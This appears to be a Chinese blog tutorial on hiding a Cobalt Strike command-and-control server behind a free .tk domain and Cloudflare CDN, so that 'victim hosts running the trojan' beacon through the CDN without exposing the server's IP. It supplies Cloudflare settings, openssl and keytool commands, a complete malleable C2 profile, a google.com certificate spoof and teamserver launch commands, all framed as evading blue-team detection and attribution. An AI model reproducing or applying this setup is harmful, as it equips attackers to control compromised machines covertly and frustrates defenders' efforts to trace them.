Life has its own fate, and meeting may not be accidental.

0%

cobaltstrike域前置

简述

CS的流量特征是很明显的,如果蓝队成员在流量中发现了相关特征那么基本也就宣告了个权限的丢失,而且还有可能被疏远反制。正因为CS的流量的特征太明显,所以需要对CS进行一些修改和对VPS的地址进行保护,尽可以降低被发现后造成权限丢失和被溯源反制的事情发生概率,加大蓝队的疏远难度。
主要思路

主要思路与配置

● 免费tk域名
● cloudflare
● 云服务器
通过 匿名域名->CDN->VPS,在这个过程中来隐藏我们的真实IP,达到套了CDN,找不到服务器真实ip的情况。

达到的效果

● 受害者主机运行木马—–>CDN—->CS服务器收到上线
● CS服务器执行命令—–>CDN—–>受害者主机执行命令

申请域名

  我们选用freenom.com去申请一个免费的域名。

  这边建议直接输出域名包括后缀,否则可能显示不可用,例如:xxx.tk

成功注册后,先去弄一个cloudflare账号,将注册的域名添加进去。

关联Cloudflare

  将freenom中申请的域名,在管理界面中DNS解析改cloudflare提供的DNS

  在DNS的子模块中找到属于你的DNS服务器,填入freenom管理台中Management tools->Nameservers

  选择第二个,填入你的Cloudflare DNS

Cloudflare配置

缓存设置

接下来在Cloudflare中进行设置,首先在概述->快速设置

这边都要关闭,设置完之后看一下Summary,是不是都关闭了

1
2
3
4
Automatic HTTPS Rewrites: OFF
Always use HTTPS: OFF
Auto Minify: NONE
Brotli: OFF

  找到Caching -> Configuration在其中开启Always Online以及Development Mode,经过实验,配置好之后Development Mode模式不用开启也可以,需要在规则上面配置

规则配置

在Rules->Page Rules 页面设置,什么路径走代理,什么路径不走代理。个人测试配置完后可以不开Development Mode

CS配置

证书配置

在SSL/TLS ->Overview 修改为Full即可

再到Origin Server页面下创建证书

保存我们的pem和key文件(命名为xxx.tk.pem、xxx.tk.key),在服务器cs同文件夹下放置,并且如下执行命令

1
2
3
openssl pkcs12 -export -in xxx.tk.pem -inkey update.xxx.tk.key -out xxx.tk.p12 -name xxx.tk -passout pass:123456

keytool -importkeystore -deststorepass 123456 -destkeypass 123456 -destkeystore xxx.tk.store -srckeystore xxx.tk.p12 -srcstoretype PKCS12 -srcstorepass 123456 -alias xxx.tk

最后会生成一个xxx.tk.store文件,上面的xxx.tk就是你的申请的域名。其中文件有个坑,cs的store的默认密码是123456所以我这边都保持一致免得出错。

profile编写

在cs同目录下编写文件cs.profile,这边写个最简单的。将里面xxx.tk替换成你的域名即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
https-certificate {
set keystore "xxx.tk.store.store";
set password "123456";
}
http-stager {
set uri_x86 "/api/1";
set uri_x64 "/api/2";
client {
header "Host" "xxx.tk";}
server {
output{
print;
}
}
}
http-get {
set uri "/api/3";
client {
header "Host" "xxx.tk";
metadata {
base64;
header "Cookie";
}
}
server {
output{
print;
}
}
}
http-post {
set uri "/api/4";
client {
header "Host" "xxx.tk";
id {
uri-append;
}
output{
print;
}
}
server {
output{
print;
}
}

}

编写好后利用CS自带的c2lint来测试可用性,同目录下执行命令

1
./c2lint cs.profile

修改证书

  修改自带的cobaltStrike.store证书,先删除cobaltStrike.store文件,后续编写teamserver文件,将原本在这个位置的那句话删掉修改为如下内容

1
keytool -keystore cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias http://google.com -dname "CN=US, OU=google.com, O=Sofaware, L=Somewhere, ST=Cyberspace, C=CN"

  修改完后,下次运行teamserver文件时会自动生成新的cobaltStrike.store文件

cs运行

  配置完规则后,运行CS,加载profile文件

1
./teamserver x.x.x.x ****** cs.profile

  new一个新的Listener

  这边需要注意Cloudflare只支持监听以下端口:

  • HTTP端口:80,8080,8880,2052,2082,2086,2095
  • HTTPs端口:443,2053,2083,2087,2096,8443
  • 注意:如果VPS是国内云主机,且注册的免费域名没有备案,则不能使用80、8080、443、8443端口提供服务,否则会被拦截提示备案才能访问。

测试

直接访问显示不存在 404,可以正常上线

profile方面

profile方面复杂的可以用github上面的收集了几个好用的Malleable-C2,还有挺多的,可以在github上搜搜

Malleable-C2-Profiles

malleable-c2

C2concealer